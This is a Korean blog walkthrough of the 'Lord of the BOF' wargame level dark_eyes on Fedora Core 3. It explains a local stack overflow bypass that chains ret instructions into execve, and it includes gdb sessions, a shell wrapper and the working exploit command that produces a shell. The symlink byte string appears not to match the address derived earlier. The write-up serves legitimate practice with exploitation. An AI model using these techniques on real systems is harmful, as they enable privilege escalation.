/* The Lord of the BOF : The Fellowship of the BOF - dark_eyes - Local BOF on Fedora Core 3 - hint : RET sleding */ int main(int argc, char *argv[]) { char buffer[256]; char saved_sfp[4]; if(argc < 2){ printf("argv error\n"); exit(0); } // save sfp memcpy(saved_sfp, buffer+264, 4); // overflow!! strcpy(buffer, argv[1]); // restore sfp memcpy(buffer+264, saved_sfp, 4); printf("%s\n", buffer); } |
dark_eyes.c
이번 문제에서는 fake ebp를 사용못하게 되었습니다.
하지만, execve을 쓰기위해선 ebp 조작이 필요한데, fake ebp말고 다른방법이 하나더 있습니다.
바로 esp를 조작하는 부분입니다.
gate에서는 execl+3 으로 점프하면서 첫 두줄을 실행 안했는데, 그부분을 다시 보자면
push %ebp mov %esp, %ebp |
였습니다.
아시겠나요?? 함수가 시작될때 ebp에는 기존의 esp 값을 넣게됩니다.
즉 esp를 조작하면 그값과 같도록 ebp가 설정된다는것을 이용하면 됩니다.
esp를 조작하는방법은 간단합니다.
ret이 실행되면, 스택에서 return address가 저장되었던 부분이 esp가 되면서 리턴이 됩니다.
이 방법을 이용하여, 원하는 esp가 될때까지 계속 ret을 하시면 됩니다.
여기서 말하는 원하는 esp란..
1. esp+8 부터 esp+(8+4n)이 NULL이 나올때까지 랜덤스택이 아닌 주소값을 가르치고 있을 경우.
2. esp+8 에 있는 주소값을 따라갔을때, string으로 잘라내기 쉬운경우.
이 두가지 조건을 만족하는 esp를 찾으면 됩니다.
찾기위해 gdb로 디버깅을 해보겠습니다.
[iron_golem@Fedora_1stFloor ~]$ gdb -q dark_eyes (no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) b *main+177 Breakpoint 1 at 0x80484b9 (gdb) r 1 Starting program: /home/iron_golem/dark_eyes 1 (no debugging symbols found)...(no debugging symbols found)...1 Breakpoint 1, 0x080484b9 in main () (gdb) x/10x $esp 0xfef470ec: 0x00730e33 0x00000002 0xfef47174 0xfef47180 0xfef470fc: 0x0070eab6 0x0083eff4 0x00000000 0xfef47100 0xfef4710c: 0xfef47148 0xfef470f0 (gdb) |
보시면, 0x00730e33이 현재 return address 입니다.
그럼, 이제 esp+8이 될수있는 후보를 찾기위해 0xfef47174부터 쭉 보면 되겠네요.
하지만, 0xfef47174,0xfef47180은 현재 랜덤스택을 가리키고 있으므로 빼겠습니다.
그럼 다음은 0x0070eab6 한번 이 포인터들이 무엇을 가리키고 있는지 보겠습니다.
(gdb) x/10x 0x0070eab6 0x70eab6 <fixup+150>: 0x83f0558b 0xc18914ec 0xd285c031 0xc9850b74 0x70eac6 <fixup+166>: 0x428b4c74 0x01318b04 0xf8bb8bf0 0x85fffffc 0x70ead6 <fixup+182>: 0x8b0575ff 0x0189e44d |
조금 복잡하네요, 스트링으로 잘라내기위해선 좀 많이 길어보입니다.
물론, 억지로 이걸로 할수도 있긴 하지만 다른포인터를 좀더 찾아보겠습니다.
다음차례인 0x0083eff4를 보겠습니다.
(gdb) x/10x 0x83eff4 0x83eff4 <svcauthsw+712>: 0x0083ed3c 0x00730b96 0x00000000 0x00818df0 0x83f004 <svcauthsw+728>: 0x0077f160 0x0077ee70 0x0077f610 0x0077f440 0x83f014 <svcauthsw+744>: 0x00711720 0x0077d430 |
0x0083ed3c, null이 보이므로, 스트링으로 끊기 좋아보입니다.
이 포인터를 esp+8로 두겠습니다.
이제 그럼 "\x3c\xed\x83"이 파일명입니다.
그러면, esp를 0xfef47180로 둬야 하겠네요.
즉, 0xfef47180의 자리에다가 execve의 return address를 넣어야합니다.
그 앞부분까지는 ret를 실행하고있는 부분의 address를 넣으면 되구요.
(gdb) x/i $eip 0x80484b9 <main+177>: ret |
이부분의 address를 사용하면 되겠습니다.
그리고 이제 execve의 주소를 알아보겠습니다.
전에는, execl로 했는데, 이번엔 불가능합니다.
왜냐하면 현재 스택상황을 보면 두번째 argument가 null인데, execl에서는 두번째 argument가 null일경우 segmentation fault가 뜹니다.
그래서, execve를 사용하겠습니다.
(gdb) print execve $1 = {<text variable, no debug info>} 0x7a5490 <execve> |
excel의 주소는 "\x90\x54\x7a\x00" 이 되겠네요.
gate와 마찬가지로 이제 shell.c를 짜겠습니다.
int main() { setreuid(geteuid(),geteuid()); execl("/bin/sh","",0); } |
그리고 링크를 걸어줍니다.
[iron_golem@Fedora_1stFloor ~]$ ln -s shell `perl -e 'print "\x3c\x2d\x83"'` |
그리고 buf에 얼마만큼 채워야 하는지 봐야 하는데..
굳이 분석할필요없이 사실 소스에 보면 딱 나와있습니다.
sfp부분을 지운다면서 264~267 부분을 지우죠.
그러므로 그냥 gate와 같이 buf의 크기는 264라는것을 알수 있습니다.
이제 공격만 하면 되는데,
구성은
./dark_eyes [A*268][ret*3][execve]
이렇게 공격해주면 되겠네요.
[iron_golem@Fedora_1stFloor ~]$ ./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x90\x54\x7a\x00"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA˜Pëþ¹¹¹Tz bash-3.00$ my-pass euid = 502 because of you |
성공했습니다.
'Computer Security > WarGame' 카테고리의 다른 글
[BOF원정대/Fedora4] cruel -> enigma (5) | 2013.05.31 |
---|---|
[BOF원정대/Fedora4] dark_stone -> cruel (0) | 2013.05.09 |
[BOF원정대/Fedora3] evil_wizard -> dark_stone (4) | 2013.05.09 |
[BOF원정대/Fedora3] hell_fire -> evil_wizard (10) | 2013.05.07 |
[BOF원정대/Fedora3] gate -> iron_golem (2) | 2012.12.22 |